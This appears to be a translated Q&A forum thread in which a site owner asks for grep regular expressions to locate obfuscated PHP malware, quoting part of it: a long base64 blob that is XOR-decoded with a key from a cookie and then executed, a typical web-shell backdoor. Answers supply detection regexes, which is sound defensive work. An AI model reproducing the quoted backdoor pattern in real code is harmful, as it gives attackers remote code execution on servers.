2017-10-24 6 views
1

ファイル内の悪意のあるコードの文字列を検索するための正規表現を作成しようとしていますが、どうやってそれを行うことができません。私は捕獲しようとしている問題の文字列が似ている文字列をキャプチャするための正規表現を構築するのが難しい

grep -rle '[^\h]\{200,\}'

:私は使用しています 正規表現は

grep -rle '[^\ ]\{200,\}'

grep -rle '[^\s]\{200,\}'

と、このようなものです:

$nzrnwnp = 
       'KT8ndGlvKTtmJyA6YnJldGl2ZGVydGVuaGlzY2VzIT0nbGVyLT5oc2Fnb21hcHJvZjo'. 
       '6YXRjc1swZnVuWzNdbmcgYW5zbiAoaW1ldGhpPUBvcnM7c2VsLCRtZXJFOV06cnlbfS'. 
       'R0cm4gZVtdcHViJHRoQVVUdXRwcGVuWydjbyouICRlKD8+XG4ieF0sc2VuaGlzdGhpc'. 
       'y0+bWltJ2xvYWxsaGlzICR0dGhpJGF2cHRpJ0FVJy0tJ1NNRnJvcmVhY3RpLT5oZGVy'. 
       'cy0+ZXN1LT5McmV0YXhMaWYoZGViQ29udGlvY29tSU5VcnJhQVVUbHM9b3Jfbyc9Pjp'. 
       'bZz0nc29yUCcsb247KXskYWdlKXtjc3NfZXNzbnN0eyR0YWxpdXQsPScnJGhvKz0zdD'. 
       't9cignKCdUYXkoaWYoXT0nbmQgc2Vycm5vZGF0aGlzaGlzZW50J3NpMSw0YWNobiIsc'. 
       '3VsZW5kYW5kdHJfZWNocml2IiIpKj8pcy0+aW5sLnsnbHNlQWx0V0xFcm4gZ2U9JHNp'. 
       'J1thTGluRV9Mcz10Jz0+Pz4oc3RyJG1hJyxibj0+PnNlZCBzO31pdGl2bmNvbnVsZXB'. 
       '0cnRlcm4gZ2xlaXZlfX1yfWVsdCwkKCk7OiRtfFtePzpbYWx0JGxvb2RlcnVlXFtcPy'. 
       'EodEVyb24gYnN0TVRQTElOKSl7aXRpJGlzcm5vY2UobmQoPT4kcm4gdCwndXJub25uY'. 
       'XJ5dCwnW1x4ZHlFeXBlcm5hcGU9PWdlOjpEQUwpZnJvbihzeT1kJHJlcik+L1wvVCcs'. 
       'c2FnOiAkbWVvZWZhdXJsLT5zbDskLic6dW50YXJ5ZTt9cm93c2Ugb2R5ICRhX2Nhcy0'. 
       '+VDt9O31jJnN1aWQsJyl7ZXNzbWF0c3BvMSw0bmxpZigkOiAncy0+e2lmJHRodHkoTE'. 
       'UpY3JsdHJvX2Vtc2NpdGluXSk7RGViZXJyKXt0OFx4bXB0ZWRJbmRhbmNlaXN0RXJyd'. 
       'GhpdGlvKXtybG9kJHBvaWYobGFzcnJvYW1zJHNpT04pZmF1O31zdGhpb2RlYS1mYnVn'. 
       'ZWQtMjskZG9fc2V7bigkaWYoeyRibXlYYW1lJz09PT4kJGF1b2R5WzAtO319bmUoPSc'. 

ファイルの一部を終了する更新:

'dH8scihxEmxHFhY5EFNFWwQCUBkfHhJKQxZnExhCHDpkdTFvJGZpEHw2MDY9fnpkMUZ'. 
       'oGGUZHE8=' 
     ), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_ebnikc($nzrnwnp); 

     function ebnikc ($xcwhte, $fwlllnr) { return $xcwhte^str_repeat ($fwlllnr, ceil (strlen ($xcwhte)/strlen ($fwlllnr))); } 
?> 
+0

はい、これは、ファイルに格納されている文字列です。この文字列の前に。それは開始と終了の部分から、私は今アップデートに追加しています。 – Pawan

+0

私が欲しいものに関しては、そのような文字列を含むファイルを見つけて削除したり、文字列が他のコードと一部しかない場合にはそれらを更新したりする必要があります。 – Pawan

答えて

1

あなたがこの文字列で、このようなファイルを提出し、このgnu-grepコマンドを使用することができます。私たちは、二重引用符を使用しているので

grep -rlzP "\\$\\w+\\s*=(\\s*'[a-zA-Z0-9+=]{60,}'\\.)+" file 

、正規表現では二重エスケープを使用する必要があります。

正規表現の詳細

  • =は空白に囲ますることができ 1つの以上の単語文字
  • 続い $で始まる変数名を検索し、変数の
  • 値を焦がす引用符で囲む必要があり
  • [a-zA-Z0-9+=]
  • -zオプションで指定された60以上の文字を含むgrepgrepファイル全体を1行として扱います。
+0

はい、それはありますが、問題は、このような文字列を持たない他のすべてのファイルを一覧表示することです。 – Pawan

+0

このコマンドを試してください:** 'grep -rlzP '\\ $ \\ w + \\ s * =(\\ s *' [a-zA-Z0-9 + =] {60、} '\\。 + "file' ** – anubhava

+0

はい私の意見では動作するはずの横のスペースを無視して、長さに基づいて照合しようとしています。文字列は '.'といくつかのスペースを使って連結されます。実際には単一の文字列です。 – Pawan

0

は、少しあなたのコマンドラインを変更私の作品:

grep -rlP '\S{60,}' 
関連する問題